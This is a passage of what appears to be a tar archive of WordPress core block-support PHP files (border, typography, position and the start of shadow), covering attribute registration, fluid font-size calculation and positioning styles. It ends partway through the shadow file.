 * @since 5.8.0
 * @access private
 *
 * @param WP_Block_Type $block_type    Block type to check for support.
 * @param string        $feature       Name of the feature to check support for.
 * @param mixed         $default_value Fallback value for feature support, defaults to false.
 * @return bool Whether the feature is supported.
 */
function wp_has_border_feature_support( $block_type, $feature, $default_value = false ) {
	// Check if all border support features have been opted into via `"__experimentalBorder": true`.
	if ( $block_type instanceof WP_Block_Type ) {
		$block_type_supports_border = isset( $block_type->supports['__experimentalBorder'] )
			? $block_type->supports['__experimentalBorder']
			: $default_value;
		if ( true === $block_type_supports_border ) {
			return true;
		}
	}

	// Check if the specific feature has been opted into individually
	// via nested flag under `__experimentalBorder`.
	return block_has_support( $block_type, array( '__experimentalBorder', $feature ), $default_value );
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'border',
	array(
		'register_attribute' => 'wp_register_border_support',
		'apply'              => 'wp_apply_border_support',
	)
);
typography.php000064400000072125151443230030007465 0ustar00<?php
/**
 * Typography block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Registers the style and typography block attributes for block types that support it.
 *
 * @since 5.6.0
 * @since 6.3.0 Added support for text-columns.
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_typography_support( $block_type ) {
	if ( ! ( $block_type instanceof WP_Block_Type ) ) {
		return;
	}

	$typography_supports = isset( $block_type->supports['typography'] ) ? $block_type->supports['typography'] : false;
	if ( ! $typography_supports ) {
		return;
	}

	$has_font_family_support     = isset( $typography_supports['__experimentalFontFamily'] ) ? $typography_supports['__experimentalFontFamily'] : false;
	$has_font_size_support       = isset( $typography_supports['fontSize'] ) ? $typography_supports['fontSize'] : false;
	$has_font_style_support      = isset( $typography_supports['__experimentalFontStyle'] ) ? $typography_supports['__experimentalFontStyle'] : false;
	$has_font_weight_support     = isset( $typography_supports['__experimentalFontWeight'] ) ? $typography_supports['__experimentalFontWeight'] : false;
	$has_letter_spacing_support  = isset( $typography_supports['__experimentalLetterSpacing'] ) ? $typography_supports['__experimentalLetterSpacing'] : false;
	$has_line_height_support     = isset( $typography_supports['lineHeight'] ) ? $typography_supports['lineHeight'] : false;
	$has_text_align_support      = isset( $typography_supports['textAlign'] ) ? $typography_supports['textAlign'] : false;
	$has_text_columns_support    = isset( $typography_supports['textColumns'] ) ? $typography_supports['textColumns'] : false;
	$has_text_decoration_support = isset( $typography_supports['__experimentalTextDecoration'] ) ? $typography_supports['__experimentalTextDecoration'] : false;
	$has_text_transform_support  = isset( $typography_supports['__experimentalTextTransform'] ) ? $typography_supports['__experimentalTextTransform'] : false;
	$has_writing_mode_support    = isset( $typography_supports['__experimentalWritingMode'] ) ? $typography_supports['__experimentalWritingMode'] : false;

	$has_typography_support = $has_font_family_support
		|| $has_font_size_support
		|| $has_font_style_support
		|| $has_font_weight_support
		|| $has_letter_spacing_support
		|| $has_line_height_support
		|| $has_text_align_support
		|| $has_text_columns_support
		|| $has_text_decoration_support
		|| $has_text_transform_support
		|| $has_writing_mode_support;

	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( $has_typography_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}

	if ( $has_font_size_support && ! array_key_exists( 'fontSize', $block_type->attributes ) ) {
		$block_type->attributes['fontSize'] = array(
			'type' => 'string',
		);
	}

	if ( $has_font_family_support && ! array_key_exists( 'fontFamily', $block_type->attributes ) ) {
		$block_type->attributes['fontFamily'] = array(
			'type' => 'string',
		);
	}
}

/**
 * Adds CSS classes and inline styles for typography features such as font sizes
 * to the incoming attributes array. This will be applied to the block markup in
 * the front-end.
 *
 * @since 5.6.0
 * @since 6.1.0 Used the style engine to generate CSS and classnames.
 * @since 6.3.0 Added support for text-columns.
 * @access private
 *
 * @param WP_Block_Type $block_type       Block type.
 * @param array         $block_attributes Block attributes.
 * @return array Typography CSS classes and inline styles.
 */
function wp_apply_typography_support( $block_type, $block_attributes ) {
	if ( ! ( $block_type instanceof WP_Block_Type ) ) {
		return array();
	}

	$typography_supports = isset( $block_type->supports['typography'] )
		? $block_type->supports['typography']
		: false;
	if ( ! $typography_supports ) {
		return array();
	}

	if ( wp_should_skip_block_supports_serialization( $block_type, 'typography' ) ) {
		return array();
	}

	$has_font_family_support     = isset( $typography_supports['__experimentalFontFamily'] ) ? $typography_supports['__experimentalFontFamily'] : false;
	$has_font_size_support       = isset( $typography_supports['fontSize'] ) ? $typography_supports['fontSize'] : false;
	$has_font_style_support      = isset( $typography_supports['__experimentalFontStyle'] ) ? $typography_supports['__experimentalFontStyle'] : false;
	$has_font_weight_support     = isset( $typography_supports['__experimentalFontWeight'] ) ? $typography_supports['__experimentalFontWeight'] : false;
	$has_letter_spacing_support  = isset( $typography_supports['__experimentalLetterSpacing'] ) ? $typography_supports['__experimentalLetterSpacing'] : false;
	$has_line_height_support     = isset( $typography_supports['lineHeight'] ) ? $typography_supports['lineHeight'] : false;
	$has_text_align_support      = isset( $typography_supports['textAlign'] ) ? $typography_supports['textAlign'] : false;
	$has_text_columns_support    = isset( $typography_supports['textColumns'] ) ? $typography_supports['textColumns'] : false;
	$has_text_decoration_support = isset( $typography_supports['__experimentalTextDecoration'] ) ? $typography_supports['__experimentalTextDecoration'] : false;
	$has_text_transform_support  = isset( $typography_supports['__experimentalTextTransform'] ) ? $typography_supports['__experimentalTextTransform'] : false;
	$has_writing_mode_support    = isset( $typography_supports['__experimentalWritingMode'] ) ? $typography_supports['__experimentalWritingMode'] : false;

	// Whether to skip individual block support features.
	$should_skip_font_size       = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontSize' );
	$should_skip_font_family     = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontFamily' );
	$should_skip_font_style      = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontStyle' );
	$should_skip_font_weight     = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontWeight' );
	$should_skip_line_height     = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'lineHeight' );
	$should_skip_text_align      = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textAlign' );
	$should_skip_text_columns    = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textColumns' );
	$should_skip_text_decoration = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textDecoration' );
	$should_skip_text_transform  = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textTransform' );
	$should_skip_letter_spacing  = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'letterSpacing' );
	$should_skip_writing_mode    = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'writingMode' );

	$typography_block_styles = array();
	if ( $has_font_size_support && ! $should_skip_font_size ) {
		$preset_font_size                    = array_key_exists( 'fontSize', $block_attributes )
			? "var:preset|font-size|{$block_attributes['fontSize']}"
			: null;
		$custom_font_size                    = isset( $block_attributes['style']['typography']['fontSize'] )
			? $block_attributes['style']['typography']['fontSize']
			: null;
		$typography_block_styles['fontSize'] = $preset_font_size ? $preset_font_size : wp_get_typography_font_size_value(
			array(
				'size' => $custom_font_size,
			)
		);
	}

	if ( $has_font_family_support && ! $should_skip_font_family ) {
		$preset_font_family                    = array_key_exists( 'fontFamily', $block_attributes )
			? "var:preset|font-family|{$block_attributes['fontFamily']}"
			: null;
		$custom_font_family                    = isset( $block_attributes['style']['typography']['fontFamily'] )
			? wp_typography_get_preset_inline_style_value( $block_attributes['style']['typography']['fontFamily'], 'font-family' )
			: null;
		$typography_block_styles['fontFamily'] = $preset_font_family ? $preset_font_family : $custom_font_family;
	}

	if (
		$has_font_style_support &&
		! $should_skip_font_style &&
		isset( $block_attributes['style']['typography']['fontStyle'] )
	) {
		$typography_block_styles['fontStyle'] = wp_typography_get_preset_inline_style_value(
			$block_attributes['style']['typography']['fontStyle'],
			'font-style'
		);
	}

	if (
		$has_font_weight_support &&
		! $should_skip_font_weight &&
		isset( $block_attributes['style']['typography']['fontWeight'] )
	) {
		$typography_block_styles['fontWeight'] = wp_typography_get_preset_inline_style_value(
			$block_attributes['style']['typography']['fontWeight'],
			'font-weight'
		);
	}

	if ( $has_line_height_support && ! $should_skip_line_height ) {
		$typography_block_styles['lineHeight'] = isset( $block_attributes['style']['typography']['lineHeight'] )
			? $block_attributes['style']['typography']['lineHeight']
			: null;
	}

	if ( $has_text_align_support && ! $should_skip_text_align ) {
		$typography_block_styles['textAlign'] = isset( $block_attributes['style']['typography']['textAlign'] )
			? $block_attributes['style']['typography']['textAlign']
			: null;
	}

	if ( $has_text_columns_support && ! $should_skip_text_columns && isset( $block_attributes['style']['typography']['textColumns'] ) ) {
		$typography_block_styles['textColumns'] = isset( $block_attributes['style']['typography']['textColumns'] )
			? $block_attributes['style']['typography']['textColumns']
			: null;
	}

	if (
		$has_text_decoration_support &&
		! $should_skip_text_decoration &&
		isset( $block_attributes['style']['typography']['textDecoration'] )
	) {
		$typography_block_styles['textDecoration'] = wp_typography_get_preset_inline_style_value(
			$block_attributes['style']['typography']['textDecoration'],
			'text-decoration'
		);
	}

	if (
		$has_text_transform_support &&
		! $should_skip_text_transform &&
		isset( $block_attributes['style']['typography']['textTransform'] )
	) {
		$typography_block_styles['textTransform'] = wp_typography_get_preset_inline_style_value(
			$block_attributes['style']['typography']['textTransform'],
			'text-transform'
		);
	}

	if (
		$has_letter_spacing_support &&
		! $should_skip_letter_spacing &&
		isset( $block_attributes['style']['typography']['letterSpacing'] )
	) {
		$typography_block_styles['letterSpacing'] = wp_typography_get_preset_inline_style_value(
			$block_attributes['style']['typography']['letterSpacing'],
			'letter-spacing'
		);
	}

	if ( $has_writing_mode_support &&
		! $should_skip_writing_mode &&
		isset( $block_attributes['style']['typography']['writingMode'] )
	) {
		$typography_block_styles['writingMode'] = isset( $block_attributes['style']['typography']['writingMode'] )
			? $block_attributes['style']['typography']['writingMode']
			: null;
	}

	$attributes = array();
	$classnames = array();
	$styles     = wp_style_engine_get_styles(
		array( 'typography' => $typography_block_styles ),
		array( 'convert_vars_to_classnames' => true )
	);

	if ( ! empty( $styles['classnames'] ) ) {
		$classnames[] = $styles['classnames'];
	}

	if ( $has_text_align_support && ! $should_skip_text_align && isset( $block_attributes['style']['typography']['textAlign'] ) ) {
		$classnames[] = 'has-text-align-' . $block_attributes['style']['typography']['textAlign'];
	}

	if ( ! empty( $classnames ) ) {
		$attributes['class'] = implode( ' ', $classnames );
	}

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

/**
 * Generates an inline style value for a typography feature e.g. text decoration,
 * text transform, and font style.
 *
 * Note: This function is for backwards compatibility.
 * * It is necessary to parse older blocks whose typography styles contain presets.
 * * It mostly replaces the deprecated `wp_typography_get_css_variable_inline_style()`,
 *   but skips compiling a CSS declaration as the style engine takes over this role.
 * @link https://github.com/wordpress/gutenberg/pull/27555
 *
 * @since 6.1.0
 *
 * @param string $style_value  A raw style value for a single typography feature from a block's style attribute.
 * @param string $css_property Slug for the CSS property the inline style sets.
 * @return string A CSS inline style value.
 */
function wp_typography_get_preset_inline_style_value( $style_value, $css_property ) {
	// If the style value is not a preset CSS variable go no further.
	if ( empty( $style_value ) || ! str_contains( $style_value, "var:preset|{$css_property}|" ) ) {
		return $style_value;
	}

	/*
	 * For backwards compatibility.
	 * Presets were removed in WordPress/gutenberg#27555.
	 * A preset CSS variable is the style.
	 * Gets the style value from the string and return CSS style.
	 */
	$index_to_splice = strrpos( $style_value, '|' ) + 1;
	$slug            = _wp_to_kebab_case( substr( $style_value, $index_to_splice ) );

	// Return the actual CSS inline style value,
	// e.g. `var(--wp--preset--text-decoration--underline);`.
	return sprintf( 'var(--wp--preset--%s--%s);', $css_property, $slug );
}

/**
 * Renders typography styles/content to the block wrapper.
 *
 * @since 6.1.0
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_render_typography_support( $block_content, $block ) {
	if ( ! empty( $block['attrs']['fitText'] ) && $block['attrs']['fitText'] && ! is_admin() ) {
		wp_enqueue_script_module( '@wordpress/block-editor/utils/fit-text-frontend' );

		// Add Interactivity API directives for fit text to work with client-side navigation.
		if ( ! empty( $block_content ) ) {
			$processor = new WP_HTML_Tag_Processor( $block_content );
			if ( $processor->next_tag() ) {
				if ( ! $processor->get_attribute( 'data-wp-interactive' ) ) {
					$processor->set_attribute( 'data-wp-interactive', true );
				}
				$processor->set_attribute( 'data-wp-context---core-fit-text', 'core/fit-text::{"fontSize":""}' );
				$processor->set_attribute( 'data-wp-init---core-fit-text', 'core/fit-text::callbacks.init' );
				$processor->set_attribute( 'data-wp-style--font-size', 'core/fit-text::context.fontSize' );
				$block_content = $processor->get_updated_html();
			}
		}
		// fitText supersedes any other typography features
		return $block_content;
	}
	if ( ! isset( $block['attrs']['style']['typography']['fontSize'] ) ) {
		return $block_content;
	}

	$custom_font_size = $block['attrs']['style']['typography']['fontSize'];
	$fluid_font_size  = wp_get_typography_font_size_value( array( 'size' => $custom_font_size ) );

	/*
	 * Checks that $fluid_font_size does not match $custom_font_size,
	 * which means it's been mutated by the fluid font size functions.
	 */
	if ( ! empty( $fluid_font_size ) && $fluid_font_size !== $custom_font_size ) {
		// Replaces the first instance of `font-size:$custom_font_size` with `font-size:$fluid_font_size`.
		return preg_replace( '/font-size\s*:\s*' . preg_quote( $custom_font_size, '/' ) . '\s*;?/', 'font-size:' . esc_attr( $fluid_font_size ) . ';', $block_content, 1 );
	}

	return $block_content;
}

/**
 * Checks a string for a unit and value and returns an array
 * consisting of `'value'` and `'unit'`, e.g. array( '42', 'rem' ).
 *
 * @since 6.1.0
 *
 * @param string|int|float $raw_value Raw size value from theme.json.
 * @param array            $options   {
 *     Optional. An associative array of options. Default is empty array.
 *
 *     @type string   $coerce_to        Coerce the value to rem or px. Default `'rem'`.
 *     @type int      $root_size_value  Value of root font size for rem|em <-> px conversion. Default `16`.
 *     @type string[] $acceptable_units An array of font size units. Default `array( 'rem', 'px', 'em' )`;
 * }
 * @return array|null An array consisting of `'value'` and `'unit'` properties on success.
 *                    `null` on failure.
 */
function wp_get_typography_value_and_unit( $raw_value, $options = array() ) {
	if ( ! is_string( $raw_value ) && ! is_int( $raw_value ) && ! is_float( $raw_value ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			__( 'Raw size value must be a string, integer, or float.' ),
			'6.1.0'
		);
		return null;
	}

	if ( empty( $raw_value ) ) {
		return null;
	}

	// Converts numbers to pixel values by default.
	if ( is_numeric( $raw_value ) ) {
		$raw_value = $raw_value . 'px';
	}

	$defaults = array(
		'coerce_to'        => '',
		'root_size_value'  => 16,
		'acceptable_units' => array( 'rem', 'px', 'em' ),
	);

	$options = wp_parse_args( $options, $defaults );

	$acceptable_units_group = implode( '|', $options['acceptable_units'] );
	$pattern                = '/^(\d*\.?\d+)(' . $acceptable_units_group . '){1,1}$/';

	preg_match( $pattern, $raw_value, $matches );

	// Bails out if not a number value and a px or rem unit.
	if ( ! isset( $matches[1] ) || ! isset( $matches[2] ) ) {
		return null;
	}

	$value = $matches[1];
	$unit  = $matches[2];

	/*
	 * Default browser font size. Later, possibly could inject some JS to
	 * compute this `getComputedStyle( document.querySelector( "html" ) ).fontSize`.
	 */
	if ( 'px' === $options['coerce_to'] && ( 'em' === $unit || 'rem' === $unit ) ) {
		$value = $value * $options['root_size_value'];
		$unit  = $options['coerce_to'];
	}

	if ( 'px' === $unit && ( 'em' === $options['coerce_to'] || 'rem' === $options['coerce_to'] ) ) {
		$value = $value / $options['root_size_value'];
		$unit  = $options['coerce_to'];
	}

	/*
	 * No calculation is required if swapping between em and rem yet,
	 * since we assume a root size value. Later we might like to differentiate between
	 * :root font size (rem) and parent element font size (em) relativity.
	 */
	if ( ( 'em' === $options['coerce_to'] || 'rem' === $options['coerce_to'] ) && ( 'em' === $unit || 'rem' === $unit ) ) {
		$unit = $options['coerce_to'];
	}

	return array(
		'value' => round( $value, 3 ),
		'unit'  => $unit,
	);
}

/**
 * Internal implementation of CSS clamp() based on available min/max viewport
 * width and min/max font sizes.
 *
 * @since 6.1.0
 * @since 6.3.0 Checks for unsupported min/max viewport values that cause invalid clamp values.
 * @since 6.5.0 Returns early when min and max viewport subtraction is zero to avoid division by zero.
 * @access private
 *
 * @param array $args {
 *     Optional. An associative array of values to calculate a fluid formula
 *     for font size. Default is empty array.
 *
 *     @type string $maximum_viewport_width Maximum size up to which type will have fluidity.
 *     @type string $minimum_viewport_width Minimum viewport size from which type will have fluidity.
 *     @type string $maximum_font_size      Maximum font size for any clamp() calculation.
 *     @type string $minimum_font_size      Minimum font size for any clamp() calculation.
 *     @type int    $scale_factor           A scale factor to determine how fast a font scales within boundaries.
 * }
 * @return string|null A font-size value using clamp() on success, otherwise null.
 */
function wp_get_computed_fluid_typography_value( $args = array() ) {
	$maximum_viewport_width_raw = isset( $args['maximum_viewport_width'] ) ? $args['maximum_viewport_width'] : null;
	$minimum_viewport_width_raw = isset( $args['minimum_viewport_width'] ) ? $args['minimum_viewport_width'] : null;
	$maximum_font_size_raw      = isset( $args['maximum_font_size'] ) ? $args['maximum_font_size'] : null;
	$minimum_font_size_raw      = isset( $args['minimum_font_size'] ) ? $args['minimum_font_size'] : null;
	$scale_factor               = isset( $args['scale_factor'] ) ? $args['scale_factor'] : null;

	// Normalizes the minimum font size in order to use the value for calculations.
	$minimum_font_size = wp_get_typography_value_and_unit( $minimum_font_size_raw );

	/*
	 * We get a 'preferred' unit to keep units consistent when calculating,
	 * otherwise the result will not be accurate.
	 */
	$font_size_unit = isset( $minimum_font_size['unit'] ) ? $minimum_font_size['unit'] : 'rem';

	// Normalizes the maximum font size in order to use the value for calculations.
	$maximum_font_size = wp_get_typography_value_and_unit(
		$maximum_font_size_raw,
		array(
			'coerce_to' => $font_size_unit,
		)
	);

	// Checks for mandatory min and max sizes, and protects against unsupported units.
	if ( ! $maximum_font_size || ! $minimum_font_size ) {
		return null;
	}

	// Uses rem for accessible fluid target font scaling.
	$minimum_font_size_rem = wp_get_typography_value_and_unit(
		$minimum_font_size_raw,
		array(
			'coerce_to' => 'rem',
		)
	);

	// Viewport widths defined for fluid typography. Normalize units.
	$maximum_viewport_width = wp_get_typography_value_and_unit(
		$maximum_viewport_width_raw,
		array(
			'coerce_to' => $font_size_unit,
		)
	);
	$minimum_viewport_width = wp_get_typography_value_and_unit(
		$minimum_viewport_width_raw,
		array(
			'coerce_to' => $font_size_unit,
		)
	);

	// Protects against unsupported units in min and max viewport widths.
	if ( ! $minimum_viewport_width || ! $maximum_viewport_width ) {
		return null;
	}

	// Calculates the linear factor denominator. If it's 0, we cannot calculate a fluid value.
	$linear_factor_denominator = $maximum_viewport_width['value'] - $minimum_viewport_width['value'];
	if ( empty( $linear_factor_denominator ) ) {
		return null;
	}

	/*
	 * Build CSS rule.
	 * Borrowed from https://websemantics.uk/tools/responsive-font-calculator/.
	 */
	$view_port_width_offset = round( $minimum_viewport_width['value'] / 100, 3 ) . $font_size_unit;
	$linear_factor          = 100 * ( ( $maximum_font_size['value'] - $minimum_font_size['value'] ) / ( $linear_factor_denominator ) );
	$linear_factor_scaled   = round( $linear_factor * $scale_factor, 3 );
	$linear_factor_scaled   = empty( $linear_factor_scaled ) ? 1 : $linear_factor_scaled;
	$fluid_target_font_size = implode( '', $minimum_font_size_rem ) . " + ((1vw - $view_port_width_offset) * $linear_factor_scaled)";

	return "clamp($minimum_font_size_raw, $fluid_target_font_size, $maximum_font_size_raw)";
}

/**
 * Returns a font-size value based on a given font-size preset.
 * Takes into account fluid typography parameters and attempts to return a CSS
 * formula depending on available, valid values.
 *
 * @since 6.1.0
 * @since 6.1.1 Adjusted rules for min and max font sizes.
 * @since 6.2.0 Added 'settings.typography.fluid.minFontSize' support.
 * @since 6.3.0 Using layout.wideSize as max viewport width, and logarithmic scale factor to calculate minimum font scale.
 * @since 6.4.0 Added configurable min and max viewport width values to the typography.fluid theme.json schema.
 * @since 6.6.0 Deprecated bool argument $should_use_fluid_typography.
 * @since 6.7.0 Font size presets can enable fluid typography individually, even if it’s disabled globally.
 *
 * @param array      $preset   {
 *     Required. fontSizes preset value as seen in theme.json.
 *
 *     @type string           $name Name of the font size preset.
 *     @type string           $slug Kebab-case, unique identifier for the font size preset.
 *     @type string|int|float $size CSS font-size value, including units if applicable.
 * }
 * @param bool|array $settings Optional Theme JSON settings array that overrides any global theme settings.
 *                             Default is false.
 * @return string|null Font-size value or null if a size is not passed in $preset.
 */


function wp_get_typography_font_size_value( $preset, $settings = array() ) {
	if ( ! isset( $preset['size'] ) ) {
		return null;
	}

	/*
	 * Catches falsy values and 0/'0'. Fluid calculations cannot be performed on `0`.
	 * Also returns early when a preset font size explicitly disables fluid typography with `false`.
	 */
	$fluid_font_size_settings = $preset['fluid'] ?? null;
	if ( false === $fluid_font_size_settings || empty( $preset['size'] ) ) {
		return $preset['size'];
	}

	/*
	 * As a boolean (deprecated since 6.6), $settings acts as an override to switch fluid typography "on" (`true`) or "off" (`false`).
	 */
	if ( is_bool( $settings ) ) {
		_deprecated_argument( __FUNCTION__, '6.6.0', __( '`boolean` type for second argument `$settings` is deprecated. Use `array()` instead.' ) );
		$settings = array(
			'typography' => array(
				'fluid' => $settings,
			),
		);
	}

	// Fallback to global settings as default.
	$global_settings = wp_get_global_settings();
	$settings        = wp_parse_args(
		$settings,
		$global_settings
	);

	$typography_settings = $settings['typography'] ?? array();

	/*
	 * Return early when fluid typography is disabled in the settings, and there
	 * are no local settings to enable it for the individual preset.
	 *
	 * If this condition isn't met, either the settings or individual preset settings
	 * have enabled fluid typography.
	 */
	if ( empty( $typography_settings['fluid'] ) && empty( $fluid_font_size_settings ) ) {
		return $preset['size'];
	}

	$fluid_settings  = isset( $typography_settings['fluid'] ) ? $typography_settings['fluid'] : array();
	$layout_settings = isset( $settings['layout'] ) ? $settings['layout'] : array();

	// Defaults.
	$default_maximum_viewport_width       = '1600px';
	$default_minimum_viewport_width       = '320px';
	$default_minimum_font_size_factor_max = 0.75;
	$default_minimum_font_size_factor_min = 0.25;
	$default_scale_factor                 = 1;
	$default_minimum_font_size_limit      = '14px';

	// Defaults overrides.
	$minimum_viewport_width = isset( $fluid_settings['minViewportWidth'] ) ? $fluid_settings['minViewportWidth'] : $default_minimum_viewport_width;
	$maximum_viewport_width = isset( $layout_settings['wideSize'] ) && ! empty( wp_get_typography_value_and_unit( $layout_settings['wideSize'] ) ) ? $layout_settings['wideSize'] : $default_maximum_viewport_width;
	if ( isset( $fluid_settings['maxViewportWidth'] ) ) {
		$maximum_viewport_width = $fluid_settings['maxViewportWidth'];
	}
	$has_min_font_size       = isset( $fluid_settings['minFontSize'] ) && ! empty( wp_get_typography_value_and_unit( $fluid_settings['minFontSize'] ) );
	$minimum_font_size_limit = $has_min_font_size ? $fluid_settings['minFontSize'] : $default_minimum_font_size_limit;

	// Try to grab explicit min and max fluid font sizes.
	$minimum_font_size_raw = isset( $fluid_font_size_settings['min'] ) ? $fluid_font_size_settings['min'] : null;
	$maximum_font_size_raw = isset( $fluid_font_size_settings['max'] ) ? $fluid_font_size_settings['max'] : null;

	// Font sizes.
	$preferred_size = wp_get_typography_value_and_unit( $preset['size'] );

	// Protects against unsupported units.
	if ( empty( $preferred_size['unit'] ) ) {
		return $preset['size'];
	}

	/*
	 * Normalizes the minimum font size limit according to the incoming unit,
	 * in order to perform comparative checks.
	 */
	$minimum_font_size_limit = wp_get_typography_value_and_unit(
		$minimum_font_size_limit,
		array(
			'coerce_to' => $preferred_size['unit'],
		)
	);

	// Don't enforce minimum font size if a font size has explicitly set a min and max value.
	if ( ! empty( $minimum_font_size_limit ) && ( ! $minimum_font_size_raw && ! $maximum_font_size_raw ) ) {
		/*
		 * If a minimum size was not passed to this function
		 * and the user-defined font size is lower than $minimum_font_size_limit,
		 * do not calculate a fluid value.
		 */
		if ( $preferred_size['value'] <= $minimum_font_size_limit['value'] ) {
			return $preset['size'];
		}
	}

	// If no fluid max font size is available use the incoming value.
	if ( ! $maximum_font_size_raw ) {
		$maximum_font_size_raw = $preferred_size['value'] . $preferred_size['unit'];
	}

	/*
	 * If no minimumFontSize is provided, create one using
	 * the given font size multiplied by the min font size scale factor.
	 */
	if ( ! $minimum_font_size_raw ) {
		$preferred_font_size_in_px = 'px' === $preferred_size['unit'] ? $preferred_size['value'] : $preferred_size['value'] * 16;

		/*
		 * The scale factor is a multiplier that affects how quickly the curve will move towards the minimum,
		 * that is, how quickly the size factor reaches 0 given increasing font size values.
		 * For a - b * log2(), lower values of b will make the curve move towards the minimum faster.
		 * The scale factor is constrained between min and max values.
		 */
		$minimum_font_size_factor     = min( max( 1 - 0.075 * log( $preferred_font_size_in_px, 2 ), $default_minimum_font_size_factor_min ), $default_minimum_font_size_factor_max );
		$calculated_minimum_font_size = round( $preferred_size['value'] * $minimum_font_size_factor, 3 );

		// Only use calculated min font size if it's > $minimum_font_size_limit value.
		if ( ! empty( $minimum_font_size_limit ) && $calculated_minimum_font_size <= $minimum_font_size_limit['value'] ) {
			$minimum_font_size_raw = $minimum_font_size_limit['value'] . $minimum_font_size_limit['unit'];
		} else {
			$minimum_font_size_raw = $calculated_minimum_font_size . $preferred_size['unit'];
		}
	}

	$fluid_font_size_value = wp_get_computed_fluid_typography_value(
		array(
			'minimum_viewport_width' => $minimum_viewport_width,
			'maximum_viewport_width' => $maximum_viewport_width,
			'minimum_font_size'      => $minimum_font_size_raw,
			'maximum_font_size'      => $maximum_font_size_raw,
			'scale_factor'           => $default_scale_factor,
		)
	);

	if ( ! empty( $fluid_font_size_value ) ) {
		return $fluid_font_size_value;
	}

	return $preset['size'];
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'typography',
	array(
		'register_attribute' => 'wp_register_typography_support',
		'apply'              => 'wp_apply_typography_support',
	)
);
position.php000064400000010361151443230030007115 0ustar00<?php
/**
 * Position block support flag.
 *
 * @package WordPress
 * @since 6.2.0
 */

/**
 * Registers the style block attribute for block types that support it.
 *
 * @since 6.2.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_position_support( $block_type ) {
	$has_position_support = block_has_support( $block_type, 'position', false );

	// Set up attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( $has_position_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}
}

/**
 * Renders position styles to the block wrapper.
 *
 * @since 6.2.0
 * @access private
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 * @return string                Filtered block content.
 */
function wp_render_position_support( $block_content, $block ) {
	$block_type           = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	$has_position_support = block_has_support( $block_type, 'position', false );

	if (
		! $has_position_support ||
		empty( $block['attrs']['style']['position'] )
	) {
		return $block_content;
	}

	$global_settings          = wp_get_global_settings();
	$theme_has_sticky_support = isset( $global_settings['position']['sticky'] ) ? $global_settings['position']['sticky'] : false;
	$theme_has_fixed_support  = isset( $global_settings['position']['fixed'] ) ? $global_settings['position']['fixed'] : false;

	// Only allow output for position types that the theme supports.
	$allowed_position_types = array();
	if ( true === $theme_has_sticky_support ) {
		$allowed_position_types[] = 'sticky';
	}
	if ( true === $theme_has_fixed_support ) {
		$allowed_position_types[] = 'fixed';
	}

	$style_attribute = isset( $block['attrs']['style'] ) ? $block['attrs']['style'] : null;
	$class_name      = wp_unique_id( 'wp-container-' );
	$selector        = ".$class_name";
	$position_styles = array();
	$position_type   = isset( $style_attribute['position']['type'] ) ? $style_attribute['position']['type'] : '';
	$wrapper_classes = array();

	if (
		in_array( $position_type, $allowed_position_types, true )
	) {
		$wrapper_classes[] = $class_name;
		$wrapper_classes[] = 'is-position-' . $position_type;
		$sides             = array( 'top', 'right', 'bottom', 'left' );

		foreach ( $sides as $side ) {
			$side_value = isset( $style_attribute['position'][ $side ] ) ? $style_attribute['position'][ $side ] : null;
			if ( null !== $side_value ) {
				/*
				 * For fixed or sticky top positions,
				 * ensure the value includes an offset for the logged in admin bar.
				 */
				if (
					'top' === $side &&
					( 'fixed' === $position_type || 'sticky' === $position_type )
				) {
					// Ensure 0 values can be used in `calc()` calculations.
					if ( '0' === $side_value || 0 === $side_value ) {
						$side_value = '0px';
					}

					// Ensure current side value also factors in the height of the logged in admin bar.
					$side_value = "calc($side_value + var(--wp-admin--admin-bar--position-offset, 0px))";
				}

				$position_styles[] =
					array(
						'selector'     => $selector,
						'declarations' => array(
							$side => $side_value,
						),
					);
			}
		}

		$position_styles[] =
			array(
				'selector'     => $selector,
				'declarations' => array(
					'position' => $position_type,
					'z-index'  => '10',
				),
			);
	}

	if ( ! empty( $position_styles ) ) {
		/*
		 * Add to the style engine store to enqueue and render position styles.
		 */
		wp_style_engine_get_stylesheet_from_css_rules(
			$position_styles,
			array(
				'context'  => 'block-supports',
				'prettify' => false,
			)
		);

		// Inject class name to block container markup.
		$content = new WP_HTML_Tag_Processor( $block_content );
		$content->next_tag();
		foreach ( $wrapper_classes as $class ) {
			$content->add_class( $class );
		}
		return (string) $content;
	}

	return $block_content;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'position',
	array(
		'register_attribute' => 'wp_register_position_support',
	)
);
add_filter( 'render_block', 'wp_render_position_support', 10, 2 );
shadow.php000064400000004055151443230030006541 0ustar00<?php
/**
 * Shadow block support flag.
 *
 * @package WordPress
 * @since 6.3.0
 */

/**
 * Registers the style and shadow block attributes for block types that support it.
 *
 * @since 6.3.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_shadow_support( $block_type ) {
	$has_shadow_support = block_has_support( $block_type, 'shadow', false );

